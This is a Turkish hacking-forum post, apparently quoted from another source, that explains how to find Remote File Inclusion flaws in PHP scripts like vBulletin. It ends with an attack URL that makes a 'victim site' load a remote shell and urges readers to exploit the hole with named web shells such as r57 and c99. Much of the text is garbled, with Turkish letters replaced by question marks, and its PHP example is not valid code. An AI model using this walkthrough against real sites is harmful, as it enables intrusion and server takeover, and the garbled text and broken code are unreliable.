Sitemde açık varr
|
#4606 |
|
|
ers0be
User is:
Posts: 123
Meslek: PC
Age: 41
|
standart rfi a??klar? bulma y?ntemleri
-------------------------------------------------------------------------------- RFI a??l?m? olarak Remote File Inclusion'dur yani t?rk?e kar??l??? olarak Uzaktan Dosya Enjekte etmektir ama biz buna hacking aleminde daha ?ok Uzaktan Kod ?a??rma diyoruz.. Mant???na gelince de; PHP Coderlar?n sayfalar? kodlarken kulland?klar? string (yumak) ve variable (de?i?ken) lerin tam olarak kontrol edilmemesinden dolay? her zaman war olan ve war olmaya devam edecek olan bir g?venlik a????d?r. Neden b?yle s?yleyebiliyorum? ??nk? 2-3 g?n boyunca bir an bile durmaks?z?n kodlama yapan bir coder elinde sonunda bir yerde gerek yorgunluktan gerekse dikkatsizlikten dolay? kodlarda a??k werecektir. Neyse laf? fazla doland?rmadan ?rnek vereyim.. Hepimizin bildi?i ve bu sitede de kullan?lan vBulletin script'ini ele alal?m. ( art? parantez vBulletin'in pop?ler versiyonlar? olan 3.6.x serisinde bugune kadar rfi a???? bulundu?unu duymad?m bilmiyorum. Sadece ?rnek olsun diye bu scripti ele ald?m. ) Nas? bulunur? Kullan?m? nas? olur? A??k tespit etmek i?in ?ncelikle PHP den orta seviye de anlamam?z gerekiyor. ?imdi ad?m ad?m a??k bulmay? anlatay?m.. ?ncelikle a??k bulmak istedi?iniz scriptin kaynak kodlar?n? bilgisayar?n?za download ediyorsunuz. Bu ?rnekte biz vBulletin scriptini indiriyoruz. ve ara?t?rmaya ba?l?yoruz. Mesela " index.php " dosyas?n? ara?t?rmak istiyoruz.. O zaman index.php dosyas?n? bir text edit?r? yard?m? ile a??yoruz ?rn?in Not Defteri.. ve hemen kodlar? incelemeye ba?l?yoruz.. Ara?t?rma kriterlerimiz; include include_once require require_once fonksiyonlar?d?r. Hatta bir iyilik daha yapay?m ve bu fonksiyonlar?n PHP ne i?e yarad???n? anlatay?m.. Daha etkili olur.. ?imdi bildi?iniz ?zere web-sitelerinde dola?t???n?z her sayfa tek tek s?f?rdan yap?l?r.. ?zellikle HTML site kodland??? zaman her sayfa i?in ayn? kodlar? tekrar tekrar girmek zorunda kal?rs?n?z ama PHP bu y?n?yle ve di?er y?nleriylede HTML den olduk?a ?st?nd?r ve include ve require fonksiyonlar? sayesinde sabit bir sayfay? farkl? ama?larda kullanabiliriz. yani anlatmak istedi?im ?ey mesela bir in?aat ?irketinin sitesini PHP olarak kodluyosunuz ve header dedi?imiz yukar?da yani banner ve ?evresini kapsayan k?s?m anasayfadan tutunda kontak sayfas?na kadar heryerde ayn? de?i?en tek ?ey sadece ortada bulunan yaz?lar?n bulundugu yer.. ?imdi anasayfa ve kontak sayfas? i?in tek tek kodlama yapmaktansa ust.php diye bir kere kodlar?z ve anasayfa.php ye a?a??daki kodu ekleriz; <? include_once ($orchid, "ust.php") ?> daha sonra ayasayfa.php dosyas?n? ?al??t?rd???m?z zaman ust.php nin anasayfa ile b?t?nle?erek ??kt???n? g?r?rs?n?z ve bu kodu her sayfan?z i?in yazarsan?z otomatikmen kolay bi ?ekilde ust.php dosyas?n? istedi?iniz yere ENJEKTE edebilirsiniz.. " Dikkat : ENJEKTE " ?imdi include ve require fonksiyonlar?n?n mant???n? anlad???n?z? varsa***** kald???m?z yere geri d?nelim.. index.php dosyas?n? a?t?n?z ve include, include_once, vb. gibi bir kod g?rd?n?z.. Az ?nceki ?rne?e devam edelim; <? include_once ($orchid, "ust.php") ?> Yukar?da g?rd???n?z PHP kodu bulundugu sayfaya ayn? dizinde bulundugu ust.php dosyas?n? ?a??rmaktad?r. (Dikkat : ?A?IRMAKTADIR ) ?imdi biz ne yapabiliriz bu koda? Hemen d???n?r?zki acaba coder " DOSYA ?A?IRMA " i?levini s?n?rland?rm??m?d?r yani sadece bulundu?u dizinden mi dosya kabul ediyor?? Hemen bi deneme yapar?z.; index.php dosyas?ndayd?k ve " orchid " parametresini kullanarak ust.php dosyas?n? ?a??ran yukar?da ki kodda a??k ar?yoduk, deneme - yan?lma yapal?m.. kurbansite.com/index.php?orchid=http://SHELL? Ve girdik.. ?imdi az ?nce UST.PHP nin bulundugu yerde bizim shellimiz war.. B?ylece ilk ad?m? att?k ve a????m?z? bulduk bundan sonra art?k r57, c99, fatalshell, ekin0xshell ne kullan?rsan?z kullan?p buldu?unuz a???? s?m?r?n (exploit = S?m?rmek) al?nt?... |
megadonanim.com Kalamazs?n bu d?nyada bakire, en az?ndan hayat koyar bir kere.. |
Bu konu kilitlidir. Mesaj yazamazsınız.













